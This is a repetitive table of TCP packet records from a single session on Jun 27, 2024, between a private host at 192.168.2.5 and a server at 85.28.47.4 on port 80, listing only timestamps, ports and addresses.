Jun 27, 2024 19:26:00.805016994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805016994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805033922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805037975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805049896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805063009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805063009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805066109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805083036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805083990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805100918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805109024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805109024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805119038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805129051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805135965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805145979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805162907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805185080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805820942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805836916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805850983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805866003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805870056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805881977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805897951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805898905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805897951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805915117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805919886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805932045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805947065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805948973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805963993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805974007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805979013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.805994987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805994987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806010962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806027889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806032896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806044102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806052923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806073904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806092024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806752920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806770086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806783915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806799889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806802034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806814909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806832075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806845903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806845903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806845903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806848049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806865931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806871891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806871891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806883097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806895018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806900024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806912899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806916952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806934118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806936979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806950092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806965113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.806966066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806983948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.806984901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807004929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807025909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807646990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807662964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807676077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807697058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807699919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807717085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807723999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807723999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807733059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807744026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807751894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807760954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807769060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807779074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807785988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807800055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807802916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807818890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807835102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807837009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807837009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807851076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807862997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807868004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807883978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.807883978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807904005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.807925940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808546066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808562040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808576107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808589935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808598042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808604956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808618069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808620930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808635950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808650970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808655977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808667898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808676958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808684111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808696032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808701992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808718920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808722019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808736086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808746099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808753014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808768988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808769941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.808805943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.808825970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809427023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809443951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809458017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809473038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809484959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809484959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809488058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809504032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809505939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809519053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809525967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809535980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809545994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809561014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.809562922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809587002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.809607029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893635035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893675089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893727064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893743992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893743992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893781900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893802881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893815994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893827915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893851995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893856049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893906116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893906116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893955946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.893963099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.893992901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894009113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894026995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894040108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894079924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894079924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894115925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894128084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894162893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894289970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894323111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894337893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894356966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894361973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894391060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894406080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894428968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894435883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894458055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894470930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894505024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894634008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894666910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894694090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894702911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894721985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894737005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894742966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894772053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894784927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894805908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894815922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894845009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894862890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894877911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894902945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894913912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894925117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894948006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894962072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.894983053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.894992113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895019054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895035028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895067930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895220995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895253897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895273924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895286083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895315886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895349026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895351887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895351887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895351887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895382881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895406008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895416975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895426035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895451069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895476103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895497084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895498037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895550013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895857096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895889997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895905972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895924091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895936012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895957947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.895972013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.895992994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896006107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896028042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896042109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896064043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896080017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896092892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896107912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896127939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896135092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896162987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896176100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896198034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896210909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896234989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896245003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896270037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896285057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896306038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896325111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896338940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896348000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896373987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896382093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896404982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896423101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896470070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896719933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896753073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896770954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896785021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896799088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896820068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896836996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896855116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896867037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896889925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896914959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896924973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896936893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896960020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.896970034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.896992922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897008896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897028923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897032022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897063017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897073984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897098064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897108078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897131920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897145987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897183895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897201061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897217989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897228003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897258997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897634029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897667885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897684097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897701979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897710085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897736073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897749901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897772074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897787094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897805929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897811890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897840023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897852898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897874117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897876978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897907972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897922039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897943974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897958994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.897978067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.897984982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898011923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898036003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898046970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898057938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898081064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898087025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898114920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898134947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898164034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898437023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898485899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898505926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898540974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898564100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898575068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898586988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898608923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898616076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898643970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898655891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898679018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898705959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898713112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898725033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898746014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.898761988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.898782015 CEST	49705	80	192.168.2.5	85.28.47.4
